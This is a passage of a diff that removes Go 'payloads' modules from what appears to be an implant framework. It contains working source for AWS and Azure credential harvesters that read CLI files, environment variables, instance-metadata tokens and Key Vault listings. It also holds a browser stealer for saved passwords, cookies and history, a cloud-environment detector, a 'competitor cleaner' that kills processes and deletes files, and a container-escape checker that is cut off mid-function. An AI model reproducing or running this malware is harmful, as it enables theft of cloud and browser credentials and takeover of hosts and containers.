r.Credentials["cli_credentials"] = parseAWSCredentials(string(data))
}
// 2. Environment variables
envCreds := make(map[string]string)
for _, v := range []string{"AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_SESSION_TOKEN", "AWS_DEFAULT_REGION"} {
if val := os.Getenv(v); val != "" {
envCreds[v] = val
}
}
if len(envCreds) > 0 {
r.Credentials["environment"] = envCreds
}
// 3. EC2 Instance Metadata
client := &http.Client{Timeout: 2 * time.Second}
if imdsCreds := getEC2MetadataCredentials(client); len(imdsCreds) > 0 {
r.Credentials["instance_metadata"] = imdsCreds
}
// 4. ECS metadata
if uri := os.Getenv("ECS_CONTAINER_METADATA_URI"); uri != "" {
resp, err := client.Get(uri + "/task")
if err == nil {
defer resp.Body.Close()
data, _ := io.ReadAll(resp.Body)
var parsed map[string]interface{}
if json.Unmarshal(data, &parsed) == nil {
r.Credentials["ecs_task"] = parsed
}
}
}
// 5. Lambda env detection
lambdaVars := make(map[string]string)
for _, v := range []string{"AWS_LAMBDA_FUNCTION_NAME", "AWS_LAMBDA_FUNCTION_VERSION", "_HANDLER"} {
if val := os.Getenv(v); val != "" {
lambdaVars[v] = val
}
}
if len(lambdaVars) > 0 {
r.Credentials["lambda"] = lambdaVars
}
// 6. Userdata check
r.UserdataSecret = checkEC2Userdata(client)
return r
}
func parseAWSCredentials(content string) map[string]interface{} {
creds := make(map[string]interface{})
re := regexp.MustCompile(`\[(.*?)\]([^[]+)`)
matches := re.FindAllStringSubmatch(content, -1)
for _, match := range matches {
profileName := strings.TrimSpace(match[1])
profileContent := strings.TrimSpace(match[2])
profile := make(map[string]string)
scanner := bufio.NewScanner(strings.NewReader(profileContent))
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if parts := strings.SplitN(line, "=", 2); len(parts) == 2 {
profile[strings.TrimSpace(parts[0])] = strings.TrimSpace(parts[1])
}
}
if len(profile) > 0 {
creds[profileName] = profile
}
}
return creds
}
func getEC2MetadataCredentials(client *http.Client) map[string]interface{} {
result := make(map[string]interface{})
// IMDSv2 token
tokenURL := "http://169.254.169.254/latest/api/token"
req, _ := http.NewRequest("PUT", tokenURL, nil)
req.Header.Set("X-aws-ec2-metadata-token-ttl-seconds", "21600")
resp, err := client.Do(req)
if err != nil {
return nil
}
defer resp.Body.Close()
tokBytes, _ := io.ReadAll(resp.Body)
token := strings.TrimSpace(string(tokBytes))
if token == "" {
return nil
}
// Get IAM role
roleURL := "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
req, _ = http.NewRequest("GET", roleURL, nil)
req.Header.Set("X-aws-ec2-metadata-token", token)
resp, err = client.Do(req)
if err != nil || resp.StatusCode != 200 {
return nil
}
defer resp.Body.Close()
roleData, _ := io.ReadAll(resp.Body)
role := strings.TrimSpace(string(roleData))
if role == "" {
return nil
}
result["role_name"] = role
// Get credentials for the role
credURL := fmt.Sprintf("http://169.254.169.254/latest/meta-data/iam/security-credentials/%s", role)
req, _ = http.NewRequest("GET", credURL, nil)
req.Header.Set("X-aws-ec2-metadata-token", token)
resp, err = client.Do(req)
if err != nil {
return result
}
defer resp.Body.Close()
credBytes, _ := io.ReadAll(resp.Body)
var credData map[string]interface{}
if json.Unmarshal(credBytes, &credData) == nil {
for k, v := range credData {
result[k] = v
}
}
return result
}
func checkEC2Userdata(client *http.Client) map[string]interface{} {
result := make(map[string]interface{})
req, _ := http.NewRequest("GET", "http://169.254.169.254/latest/user-data", nil)
req.Header.Set("X-aws-ec2-metadata-token", "required")
resp, err := client.Do(req)
if err != nil {
return nil
}
defer resp.Body.Close()
data, _ := io.ReadAll(resp.Body)
if len(data) == 0 {
return nil
}
patterns := map[string]*regexp.Regexp{
"aws_access_key": regexp.MustCompile(`AKIA[0-9A-Z]{16}`),
"aws_secret_key": regexp.MustCompile(`[0-9a-zA-Z/+]{40}`),
"password": regexp.MustCompile(`(?i)password[=:]\s*(\S+)`),
"api_key": regexp.MustCompile(`(?i)api[_-]?key[=:]\s*(\S+)`),
}
content := string(data)
for name, re := range patterns {
matches := re.FindAllString(content, 3)
if len(matches) > 0 {
result[name] = matches
}
}
return result
}
-213
View File
@@ -1,213 +0,0 @@
package payloads
import (
"bufio"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"os/exec"
"path/filepath"
"regexp"
"strings"
"time"
)
func init() {
Register(&AzureCredHarvester{})
}
type AzureCredHarvester struct{}
func (a *AzureCredHarvester) Name() string { return "azure_cred_harvester" }
func (a *AzureCredHarvester) Category() string { return "credential" }
func (a *AzureCredHarvester) Description() string {
return "Harvest Azure tokens/credentials from metadata, env, CLI config"
}
func (a *AzureCredHarvester) Execute(args map[string]string) ([]byte, error) {
result := a.extract()
return MarshalJSON(result)
}
type azureCredResult struct {
Timestamp string `json:"timestamp"`
Credentials map[string]interface{} `json:"credentials"`
Resources map[string]interface{} `json:"resources,omitempty"`
KeyVaults []map[string]interface{} `json:"key_vaults,omitempty"`
}
func (a *AzureCredHarvester) extract() *azureCredResult {
r := &azureCredResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
Credentials: make(map[string]interface{}),
}
home, _ := os.UserHomeDir()
// 1. Azure CLI config
azConfig := filepath.Join(home, ".azure", "config")
if data, err := os.ReadFile(azConfig); err == nil {
r.Credentials["cli_config_raw"] = string(data)
}
// 2. Azure CLI accessTokens.json
azToken := filepath.Join(home, ".azure", "accessTokens.json")
if data, err := os.ReadFile(azToken); err == nil {
var tokens interface{}
if json.Unmarshal(data, &tokens) == nil {
r.Credentials["cli_tokens"] = tokens
}
}
// 3. Azure CLI profile
azProfile := filepath.Join(home, ".azure", "azureProfile.json")
if data, err := os.ReadFile(azProfile); err == nil {
var profile interface{}
if json.Unmarshal(data, &profile) == nil {
r.Credentials["cli_profile"] = profile
}
}
// 4. Environment variables
azEnvVars := []string{
"AZURE_CLIENT_ID", "AZURE_CLIENT_SECRET", "AZURE_TENANT_ID",
"AZURE_SUBSCRIPTION_ID", "AZURE_USERNAME", "AZURE_PASSWORD",
}
envCreds := make(map[string]string)
for _, v := range azEnvVars {
if val := os.Getenv(v); val != "" {
envCreds[v] = val
}
}
if len(envCreds) > 0 {
r.Credentials["environment"] = envCreds
}
// 5. Managed Identity (Azure VM metadata)
client := &http.Client{Timeout: 2 * time.Second}
req, _ := http.NewRequest("GET",
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/",
nil)
req.Header.Set("Metadata", "true")
resp, err := client.Do(req)
if err == nil && resp.StatusCode == 200 {
defer resp.Body.Close()
data, _ := io.ReadAll(resp.Body)
var tokenData map[string]interface{}
if json.Unmarshal(data, &tokenData) == nil {
r.Credentials["managed_identity"] = tokenData
}
}
// 6. Service principal files
spFiles := []string{"/etc/azure/sp.txt", "/var/azure/credentials.json"}
for _, spf := range spFiles {
if data, err := os.ReadFile(spf); err == nil {
if strings.HasSuffix(spf, ".json") {
var parsed interface{}
if json.Unmarshal(data, &parsed) == nil {
r.Credentials[fmt.Sprintf("sp_%s", filepath.Base(spf))] = parsed
}
} else {
r.Credentials[fmt.Sprintf("sp_%s", filepath.Base(spf))] = string(data)
}
}
}
// 7. Try az CLI for resource enumeration
r.Resources = enumerateAzureResources()
r.KeyVaults = checkKeyVaults()
return r
}
func enumerateAzureResources() map[string]interface{} {
res := make(map[string]interface{})
azPath, err := exec.LookPath("az")
if err != nil {
res["error"] = "Azure CLI not found"
return res
}
// Show account
out, err := exec.Command(azPath, "account", "show").Output()
if err == nil {
var account interface{}
if json.Unmarshal(out, &account) == nil {
res["current_subscription"] = account
}
}
// List resource groups
out, err = exec.Command(azPath, "group", "list").Output()
if err == nil {
var groups []map[string]interface{}
if json.Unmarshal(out, &groups) == nil {
var names []string
for _, g := range groups {
if name, ok := g["name"].(string); ok {
names = append(names, name)
}
}
if len(names) > 5 {
names = names[:5]
}
res["resource_groups"] = names
}
}
return res
}
func checkKeyVaults() []map[string]interface{} {
var vaults []map[string]interface{}
azPath, err := exec.LookPath("az")
if err != nil {
return vaults
}
out, err := exec.Command(azPath, "keyvault", "list").Output()
if err != nil {
return vaults
}
var parsed []map[string]interface{}
if json.Unmarshal(out, &parsed) != nil {
return vaults
}
for _, v := range parsed {
if len(vaults) >= 3 {
break
}
vaultInfo := map[string]interface{}{
"name": v["name"],
"resourceGroup": v["resourceGroup"],
"location": v["location"],
}
// List secrets
name, _ := v["name"].(string)
if name != "" {
secretOut, err := exec.Command(azPath, "keyvault", "secret", "list",
"--vault-name", name).Output()
if err == nil {
var secrets []interface{}
if json.Unmarshal(secretOut, &secrets) == nil {
vaultInfo["secrets_count"] = len(secrets)
}
}
}
vaults = append(vaults, vaultInfo)
}
return vaults
}
// Helper to avoid unused import
var _ = bufio.ScanLines
var _ = regexp.MustCompile
-349
View File
@@ -1,349 +0,0 @@
package payloads
import (
"bufio"
"bytes"
"database/sql"
"encoding/json"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"sync"
"time"
_ "github.com/mattn/go-sqlite3"
)
func init() {
Register(&BrowserStealer{})
}
type BrowserStealer struct{}
func (b *BrowserStealer) Name() string { return "browserstealer" }
func (b *BrowserStealer) Category() string { return "credential" }
func (b *BrowserStealer) Description() string {
return "Extract saved browser credentials, cookies, and history from Chrome/Firefox/Edge/Brave"
}
func (b *BrowserStealer) Execute(args map[string]string) ([]byte, error) {
s := &browserStealerInner{}
return s.execute()
}
type browserStealerInner struct {
results map[string]*browserData
mu sync.Mutex
}
type browserData struct {
Profiles []profileData `json:"profiles"`
Credentials []credEntry `json:"credentials"`
Cookies []cookieEntry `json:"cookies"`
History []historyEntry `json:"history"`
}
type profileData struct {
Name string `json:"profile_name"`
Logins []json.RawMessage `json:"logins,omitempty"`
Cookies []json.RawMessage `json:"cookies,omitempty"`
History []json.RawMessage `json:"history,omitempty"`
Bookmarks []json.RawMessage `json:"bookmarks,omitempty"`
Error string `json:"error,omitempty"`
}
type credEntry struct {
URL string `json:"url"`
Username string `json:"username"`
Password string `json:"password"`
}
type cookieEntry struct {
Host string `json:"host"`
Name string `json:"name"`
Value string `json:"value"`
Path string `json:"path,omitempty"`
Expiry int64 `json:"expiry,omitempty"`
}
type historyEntry struct {
URL string `json:"url"`
Title string `json:"title"`
VisitCount int `json:"visit_count"`
LastVisit int64 `json:"last_visit"`
}
func (s *browserStealerInner) execute() ([]byte, error) {
s.results = make(map[string]*browserData)
for _, name := range []string{"firefox", "chrome", "edge", "brave"} {
s.results[name] = &browserData{}
}
var wg sync.WaitGroup
// Firefox
wg.Add(1)
go func() {
defer wg.Done()
s.scanFirefox()
}()
// Chrome-based
for _, name := range []string{"chrome", "edge", "brave"} {
wg.Add(1)
go func(n string) {
defer wg.Done()
s.scanChromeBased(n)
}(name)
}
wg.Wait()
result := map[string]interface{}{
"timestamp": time.Now().UTC().Format(time.RFC3339),
"extraction_summary": map[string]int{
"firefox_profiles": len(s.results["firefox"].Profiles),
"chrome_profiles": len(s.results["chrome"].Profiles),
"edge_profiles": len(s.results["edge"].Profiles),
"brave_profiles": len(s.results["brave"].Profiles),
},
"total_credentials": s.countCredentials(),
"total_cookies": s.countCookies(),
"details": s.results,
}
return MarshalJSON(result)
}
func (s *browserStealerInner) countCredentials() int {
count := 0
for _, name := range []string{"firefox", "chrome", "edge", "brave"} {
for _, p := range s.results[name].Profiles {
count += len(p.Logins)
}
}
return count
}
func (s *browserStealerInner) countCookies() int {
count := 0
for _, name := range []string{"firefox", "chrome", "edge", "brave"} {
for _, p := range s.results[name].Profiles {
count += len(p.Cookies)
}
}
return count
}
func (s *browserStealerInner) scanFirefox() {
home, _ := os.UserHomeDir()
paths := []string{
filepath.Join(home, ".mozilla", "firefox"),
filepath.Join(home, "snap", "firefox", "common", ".mozilla", "firefox"),
}
for _, base := range paths {
entries, err := os.ReadDir(base)
if err != nil {
continue
}
for _, e := range entries {
if !e.IsDir() {
continue
}
fullPath := filepath.Join(base, e.Name())
s.mu.Lock()
bd := s.results["firefox"]
s.mu.Unlock()
pd := profileData{Name: e.Name()}
// logins.json
lj := filepath.Join(fullPath, "logins.json")
if data, err := os.ReadFile(lj); err == nil {
var raw map[string]interface{}
if json.Unmarshal(data, &raw) == nil {
if logins, ok := raw["logins"].([]interface{}); ok {
for _, l := range logins {
if b, err := json.Marshal(l); err == nil {
pd.Logins = append(pd.Logins, b)
}
}
}
}
}
// cookies.sqlite
cookieFile := filepath.Join(fullPath, "cookies.sqlite")
if cookies, err := readSQLite(cookieFile, "moz_cookies", []string{"host", "name", "value", "path", "expiry"}); err == nil {
pd.Cookies = cookies
}
// places.sqlite (history)
placesFile := filepath.Join(fullPath, "places.sqlite")
if history, err := readSQLite(placesFile, "moz_places", []string{"url", "title", "visit_count", "last_visit_date"}); err == nil {
pd.History = history
}
bd.Profiles = append(bd.Profiles, pd)
}
}
}
func (s *browserStealerInner) scanChromeBased(name string) {
home, _ := os.UserHomeDir()
var chromPaths []string
switch name {
case "chrome":
chromPaths = []string{
filepath.Join(home, ".config", "google-chrome"),
filepath.Join(home, ".config", "chromium"),
}
case "edge":
chromPaths = []string{
filepath.Join(home, ".config", "microsoft-edge"),
}
case "brave":
chromPaths = []string{
filepath.Join(home, ".config", "BraveSoftware", "Brave-Browser"),
}
}
s.mu.Lock()
bd := s.results[name]
s.mu.Unlock()
for _, base := range chromPaths {
entries, err := os.ReadDir(base)
if err != nil {
continue
}
for _, e := range entries {
if !e.IsDir() {
continue
}
if e.Name() != "Default" && !strings.Contains(e.Name(), "Profile") {
continue
}
profilePath := filepath.Join(base, e.Name())
pd := profileData{Name: e.Name()}
// Login Data
loginFile := filepath.Join(profilePath, "Login Data")
if logins, err := readSQLite(loginFile, "logins", []string{"origin_url", "username_value", "password_value", "date_created"}); err == nil {
pd.Logins = logins
}
// Cookies
cookieFile := filepath.Join(profilePath, "Cookies")
if cookies, err := readSQLite(cookieFile, "cookies", []string{"host_key", "name", "value", "path", "expires_utc"}); err == nil {
pd.Cookies = cookies
}
// History
historyFile := filepath.Join(profilePath, "History")
if history, err := readSQLite(historyFile, "urls", []string{"url", "title", "visit_count", "last_visit_time"}); err == nil {
pd.History = history
}
bd.Profiles = append(bd.Profiles, pd)
}
}
}
func readSQLite(path string, table string, columns []string) ([]json.RawMessage, error) {
if _, err := os.Stat(path); os.IsNotExist(err) {
return nil, err
}
// Copy to temp to avoid SQLite locking issues
tmpFile, err := os.CreateTemp("", "browser-*.db")
if err != nil {
return nil, err
}
defer os.Remove(tmpFile.Name())
src, err := os.ReadFile(path)
if err != nil {
return nil, err
}
if err := os.WriteFile(tmpFile.Name(), src, 0600); err != nil {
return nil, err
}
tmpFile.Close()
db, err := sql.Open("sqlite3", tmpFile.Name())
if err != nil {
return nil, err
}
defer db.Close()
colStr := ""
for i, c := range columns {
if i > 0 {
colStr += ", "
}
colStr += c
}
query := fmt.Sprintf("SELECT %s FROM %s LIMIT 100", colStr, table)
rows, err := db.Query(query)
if err != nil {
return nil, err
}
defer rows.Close()
var results []json.RawMessage
for rows.Next() {
vals := make([]interface{}, len(columns))
ptrs := make([]interface{}, len(columns))
for i := range vals {
ptrs[i] = &vals[i]
}
if err := rows.Scan(ptrs...); err != nil {
continue
}
row := make(map[string]interface{})
for i, col := range columns {
row[col] = vals[i]
}
b, _ := json.Marshal(row)
results = append(results, b)
}
return results, nil
}
// Shell-based extraction fallback using sqlite3 CLI
func extractSQLiteShell(path, table, columns string) ([]json.RawMessage, error) {
_, err := exec.LookPath("sqlite3")
if err != nil {
return nil, fmt.Errorf("sqlite3 not found")
}
cmd := exec.Command("sqlite3", path, fmt.Sprintf("SELECT %s FROM %s LIMIT 100", columns, table))
out, err := cmd.Output()
if err != nil {
return nil, err
}
var results []json.RawMessage
scanner := bufio.NewScanner(bytes.NewReader(out))
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
// Parse as JSON
var raw interface{}
if json.Unmarshal([]byte(line), &raw) == nil {
b, _ := json.Marshal(raw)
results = append(results, b)
} else {
b, _ := json.Marshal(map[string]string{"raw": line})
results = append(results, b)
}
}
return results, nil
}
-280
View File
@@ -1,280 +0,0 @@
package payloads
import (
"fmt"
"io"
"net"
"net/http"
"os"
"strings"
"time"
)
func init() {
Register(&CloudDetector{})
}
type CloudDetector struct{}
func (c *CloudDetector) Name() string { return "cloud_detector" }
func (c *CloudDetector) Category() string { return "recon" }
func (c *CloudDetector) Description() string {
return "Detect cloud environment (AWS/Azure/GCP/DigitalOcean/Docker/K8s)"
}
func (c *CloudDetector) Execute(args map[string]string) ([]byte, error) {
result := c.detectAll()
return MarshalJSON(result)
}
type cloudResult struct {
Provider string `json:"provider"`
Metadata map[string]string `json:"metadata"`
Features map[string]bool `json:"features"`
IsCloud bool `json:"is_cloud"`
IsVM bool `json:"is_vm"`
Hostname string `json:"hostname"`
PublicIP string `json:"public_ip,omitempty"`
}
func (c *CloudDetector) detectAll() *cloudResult {
r := &cloudResult{
Metadata: make(map[string]string),
Features: make(map[string]bool),
}
hostname, _ := os.Hostname()
r.Hostname = hostname
client := &http.Client{Timeout: 2 * time.Second}
// AWS
if detectAWS(client, r) {
r.Provider = "aws"
r.IsCloud = true
}
// Azure
if detectAzure(client, r) {
r.Provider = "azure"
r.IsCloud = true
}
// GCP
if detectGCP(client, r) {
r.Provider = "gcp"
r.IsCloud = true
}
// DigitalOcean
if detectDO(client, r) {
r.Provider = "digitalocean"
r.IsCloud = true
}
// Docker
if detectDocker(r) {
r.Provider = "docker"
r.IsCloud = true
}
// K8s
if detectK8s(r) {
r.Provider = "kubernetes"
r.IsCloud = true
}
// VM detection
detectVM(r)
// Public IP
if ip, err := getPublicIP(client); err == nil {
r.PublicIP = ip
}
return r
}
func metadataGet(client *http.Client, url, headerKey, headerVal string) string {
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return ""
}
if headerKey != "" {
req.Header.Set(headerKey, headerVal)
}
resp, err := client.Do(req)
if err != nil {
return ""
}
defer resp.Body.Close()
data, _ := io.ReadAll(resp.Body)
return strings.TrimSpace(string(data))
}
func detectAWS(client *http.Client, r *cloudResult) bool {
// IMDSv2
req, _ := http.NewRequest("PUT", "http://169.254.169.254/latest/api/token", nil)
req.Header.Set("X-aws-ec2-metadata-token-ttl-seconds", "21600")
resp, err := client.Do(req)
token := ""
if err == nil {
tokBytes, _ := io.ReadAll(resp.Body)
token = strings.TrimSpace(string(tokBytes))
resp.Body.Close()
r.Features["aws_imdsv2"] = token != ""
}
// Check metadata
metaURL := "http://169.254.169.254/latest/meta-data/"
req, _ = http.NewRequest("GET", metaURL, nil)
if token != "" {
req.Header.Set("X-aws-ec2-metadata-token", token)
}
resp, err = client.Do(req)
if err != nil || resp.StatusCode != 200 {
return false
}
resp.Body.Close()
fields := []struct{ key, path string }{
{"instance-id", "instance-id"},
{"instance-type", "instance-type"},
{"ami-id", "ami-id"},
{"region", "placement/availability-zone"},
{"vpc-id", "network/interfaces/macs/0/vpc-id"},
{"subnet-id", "network/interfaces/macs/0/subnet-id"},
}
for _, f := range fields {
val := metadataGet(client, "http://169.254.169.254/latest/meta-data/"+f.path, "X-aws-ec2-metadata-token", token)
if val != "" {
r.Metadata["aws_"+f.key] = val
}
}
return true
}
func detectAzure(client *http.Client, r *cloudResult) bool {
data := metadataGet(client, "http://169.254.169.254/metadata/instance?api-version=2021-02-01", "Metadata", "true")
if data == "" {
// Check DMI
if checkDMI("sys_vendor", "microsoft") {
return true
}
return false
}
r.Metadata["azure_raw"] = data
return true
}
func detectGCP(client *http.Client, r *cloudResult) bool {
data := metadataGet(client, "http://metadata.google.internal/computeMetadata/v1/", "Metadata-Flavor", "Google")
if data == "" {
if checkDMI("product_name", "google") {
return true
}
return false
}
r.Metadata["gcp_raw"] = data
endpoints := []struct{ endpoint, key string }{
{"instance/id", "gcp_instance_id"},
{"instance/machine-type", "gcp_machine_type"},
{"instance/zone", "gcp_zone"},
{"project/project-id", "gcp_project_id"},
}
baseURL := "http://metadata.google.internal/computeMetadata/v1/"
for _, ep := range endpoints {
val := metadataGet(client, baseURL+ep.endpoint, "Metadata-Flavor", "Google")
if val != "" {
r.Metadata[ep.key] = val
}
}
return true
}
func detectDO(client *http.Client, r *cloudResult) bool {
data := metadataGet(client, "http://169.254.169.254/metadata/v1.json", "", "")
if data != "" {
r.Metadata["digitalocean_raw"] = data
return true
}
if _, err := os.Stat("/etc/digitalocean"); err == nil {
return true
}
return false
}
func detectDocker(r *cloudResult) bool {
if _, err := os.Stat("/.dockerenv"); err == nil {
r.Features["container"] = true
return true
}
data, err := os.ReadFile("/proc/1/cgroup")
if err == nil && strings.Contains(string(data), "docker") {
r.Features["container"] = true
return true
}
return false
}
func detectK8s(r *cloudResult) bool {
if _, err := os.Stat("/var/run/secrets/kubernetes.io/serviceaccount"); err == nil {
r.Features["container"] = true
r.Features["orchestrated"] = true
ns, err := os.ReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace")
if err == nil {
r.Metadata["k8s_namespace"] = strings.TrimSpace(string(ns))
}
return true
}
// Check env vars
k8sVars := []string{"KUBERNETES_SERVICE_HOST", "KUBERNETES_SERVICE_PORT"}
for _, v := range k8sVars {
if os.Getenv(v) != "" {
r.Features["container"] = true
r.Features["orchestrated"] = true
return true
}
}
return false
}
func detectVM(r *cloudResult) {
indicators := []struct{ file, substr string }{
{"/sys/class/dmi/id/product_name", "virtualbox"},
{"/sys/class/dmi/id/product_name", "vmware"},
{"/sys/class/dmi/id/product_name", "kvm"},
{"/sys/class/dmi/id/product_name", "qemu"},
{"/sys/class/dmi/id/product_name", "xen"},
{"/sys/class/dmi/id/product_name", "hyper-v"},
{"/sys/class/dmi/id/sys_vendor", "vmware"},
{"/sys/class/dmi/id/sys_vendor", "microsoft"},
{"/sys/class/dmi/id/bios_vendor", "xen"},
}
for _, ind := range indicators {
data, err := os.ReadFile(ind.file)
if err == nil && strings.Contains(strings.ToLower(string(data)), ind.substr) {
r.Features["virtual_machine"] = true
return
}
}
}
func checkDMI(file, vendor string) bool {
data, err := os.ReadFile("/sys/class/dmi/id/" + file)
if err != nil {
return false
}
return strings.Contains(strings.ToLower(string(data)), vendor)
}
func getPublicIP(client *http.Client) (string, error) {
resp, err := client.Get("https://api.ipify.org")
if err != nil {
// Fallback to DNS
addrs, err := net.LookupHost("myip.opendns.com")
if err == nil && len(addrs) > 0 {
return addrs[0], nil
}
return "", fmt.Errorf("no public ip")
}
defer resp.Body.Close()
data, _ := io.ReadAll(resp.Body)
return strings.TrimSpace(string(data)), nil
}
-148
View File
@@ -1,148 +0,0 @@
package payloads
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"regexp"
"strings"
"syscall"
"time"
)
func init() {
Register(&CompetitorCleaner{})
}
type CompetitorCleaner struct{}
func (c *CompetitorCleaner) Name() string { return "competitor_cleaner" }
func (c *CompetitorCleaner) Category() string { return "impact" }
func (c *CompetitorCleaner) Description() string {
return "Detect and remove competing implants, backdoors, and miners"
}
func (c *CompetitorCleaner) Execute(args map[string]string) ([]byte, error) {
result := c.clean()
return MarshalJSON(result)
}
type compCleanResult struct {
Timestamp string `json:"timestamp"`
Processes []compItem `json:"suspicious_processes"`
Files []compItem `json:"suspicious_files"`
Crons []compItem `json:"suspicious_crons"`
Removed int `json:"removed"`
Statuses []string `json:"statuses"`
}
type compItem struct {
PID int `json:"pid,omitempty"`
Name string `json:"name"`
Path string `json:"path,omitempty"`
Entry string `json:"entry,omitempty"`
Reason string `json:"reason"`
Removed bool `json:"removed"`
}
var suspiciousProcessNames = []string{
"minerd", "cpuminer", "xmrig", "ccminer", "ethminer",
"javaw", "svchost",
}
var suspiciousCronPatterns = []*regexp.Regexp{
regexp.MustCompile(`curl.*\|.*sh`),
regexp.MustCompile(`wget.*-O.*\.sh`),
regexp.MustCompile(`python.*http`),
regexp.MustCompile(`perl.*-e`),
regexp.MustCompile(`base64.*decode`),
}
func (c *CompetitorCleaner) clean() *compCleanResult {
r := &compCleanResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
}
// Scan processes
procDir, _ := os.Open("/proc")
if procDir != nil {
entries, _ := procDir.Readdirnames(-1)
procDir.Close()
for _, e := range entries {
pid := 0
fmt.Sscanf(e, "%d", &pid)
if pid == 0 || pid == os.Getpid() {
continue
}
comm, _ := os.ReadFile(fmt.Sprintf("/proc/%d/comm", pid))
name := strings.TrimSpace(string(comm))
if name == "" {
continue
}
for _, sp := range suspiciousProcessNames {
if strings.Contains(strings.ToLower(name), sp) {
item := compItem{
PID: pid,
Name: name,
Reason: fmt.Sprintf("Matching process: %s", sp),
}
// Kill
if syscall.Kill(pid, syscall.SIGKILL) == nil {
item.Removed = true
r.Removed++
}
r.Processes = append(r.Processes, item)
r.Statuses = append(r.Statuses, fmt.Sprintf("Killed process: %s (PID %d)", name, pid))
break
}
}
}
}
// Scan files
scanPaths := []string{"/tmp", "/dev/shm", "/var/tmp"}
for _, sp := range scanPaths {
filepath.Walk(sp, func(path string, fi os.FileInfo, err error) error {
if err != nil || fi.IsDir() {
return nil
}
suspiciousExts := []string{".miner", ".bot", ".malware", ".backdoor", ".crypt"}
ext := strings.ToLower(filepath.Ext(path))
for _, se := range suspiciousExts {
if ext == se {
item := compItem{
Path: path,
Reason: fmt.Sprintf("Suspicious extension: %s", ext),
}
if os.Remove(path) == nil {
item.Removed = true
r.Removed++
}
r.Files = append(r.Files, item)
r.Statuses = append(r.Statuses, fmt.Sprintf("Removed file: %s", path))
return nil
}
}
return nil
})
}
// Scan crons
cronOut, _ := exec.Command("crontab", "-l").CombinedOutput()
if len(cronOut) > 0 {
for _, pattern := range suspiciousCronPatterns {
matches := pattern.FindAllString(string(cronOut), -1)
for _, m := range matches {
item := compItem{
Entry: m,
Reason: "Suspicious cron pattern",
}
r.Crons = append(r.Crons, item)
r.Statuses = append(r.Statuses, fmt.Sprintf("Found suspicious cron: %s", m))
}
}
}
return r
}
-250
View File
@@ -1,250 +0,0 @@
package payloads
import (
"fmt"
"os"
"os/exec"
"strings"
"time"
)
func init() {
Register(&ContainerEscape{})
}
type ContainerEscape struct{}
func (c *ContainerEscape) Name() string { return "container_escape" }
func (c *ContainerEscape) Category() string { return "lateral" }
func (c *ContainerEscape) Description() string {
return "Container escape techniques (privileged check, cgroup mount, nsenter)"
}
func (c *ContainerEscape) Execute(args map[string]string) ([]byte, error) {
result := c.assess()
return MarshalJSON(result)
}
type containerEscapeResult struct {
Timestamp string `json:"timestamp"`
Privileges map[string]interface{} `json:"privileges"`
EscapeMethods []escapeMethod `json:"escape_methods"`
VulnKernels []string `json:"vulnerable_kernels"`
Recommendations []string `json:"recommendations"`
}
type escapeMethod struct {
Name string `json:"name"`
Success bool `json:"success"`
Detail string `json:"detail"`
}
func (c *ContainerEscape) assess() *containerEscapeResult {
r := &containerEscapeResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
}
// 1. Check privileges
r.Privileges = checkContainerPrivs()
// 2. Try escape techniques
r.EscapeMethods = append(r.EscapeMethods, tryDockerSocket())
r.EscapeMethods = append(r.EscapeMethods, tryCgroupRelease())
r.EscapeMethods = append(r.EscapeMethods, tryDeviceAccess())
r.EscapeMethods = append(r.EscapeMethods, tryNsenter())
r.EscapeMethods = append(r.EscapeMethods, tryMountEscape())
// 3. Kernel vulns
r.VulnKernels = checkKernelVulns()
// 4. Recommendations
for _, m := range r.EscapeMethods {
if m.Success {
r.Recommendations = append(r.Recommendations, m.Name)
}
}
if priv, ok := r.Privileges["privileged"].(bool); ok && priv {
r.Recommendations = append(r.Recommendations, "privileged_container_escape")
}
if root, ok := r.Privileges["is_root"].(bool); ok && root {
r.Recommendations = append(r.Recommendations, "root_escape_techniques")
}
return r
}
func checkContainerPrivs() map[string]interface{} {
p := make(map[string]interface{})
p["is_root"] = os.Geteuid() == 0
// Check capabilities
data, err := os.ReadFile("/proc/self/status")
if err == nil {
content := string(data)
for _, line := range strings.Split(content, "\n") {
if strings.HasPrefix(line, "CapEff:") {
cap := strings.TrimSpace(strings.TrimPrefix(line, "CapEff:"))
p["capabilities"] = cap
p["privileged"] = strings.Contains(cap, "0000003fffffffff")
}
}
}
// Check mounts
out, err := exec.Command("mount").Output()
if err == nil {
mountLines := strings.Split(string(out), "\n")
var sensitive []string
for _, m := range []string{"/proc", "/sys", "/dev", "/var/run/docker.sock"} {
for _, line := range mountLines {
if strings.Contains(line, m) {
sensitive = append(sensitive, m)
break
}
}
}
p["sensitive_mounts"] = sensitive
p["mounts"] = mountLines[:min(10, len(mountLines))]
}
return p
}
func tryDockerSocket() escapeMethod {
m := escapeMethod{Name: "docker_socket"}
dockerSocket := "/var/run/docker.sock"
if _, err := os.Stat(dockerSocket); os.IsNotExist(err) {
m.Detail = "No docker socket"
return m
}
if fi, _ := os.Stat(dockerSocket); fi != nil && fi.Mode()&os.ModeSocket != 0 {
m.Success = true
m.Detail = "Docker socket accessible"
} else {
m.Detail = "Docker socket exists but not accessible"
}
return m
}
func tryCgroupRelease() escapeMethod {
m := escapeMethod{Name: "cgroup_release_agent"}
// Check cgroup release_agent writability
paths := []string{
"/sys/fs/cgroup/release_agent",
"/sys/fs/cgroup/*/release_agent",
}
for _, pattern := range paths {
if strings.Contains(pattern, "*") {
matches, _ := exec.Command("sh", "-c", "ls "+pattern+" 2>/dev/null").Output()
for _, p := range strings.Split(string(matches), "\n") {
p = strings.TrimSpace(p)
if p == "" {
continue
}
if f, err := os.Stat(p); err == nil {
if f.Mode().Perm()&0002 != 0 {
m.Success = true
m.Detail = fmt.Sprintf("Writable release_agent: %s", p)
return m
}
}
}
} else {
if f, err := os.Stat(pattern); err == nil && f.Mode().Perm()&0002 != 0 {
m.Success = true
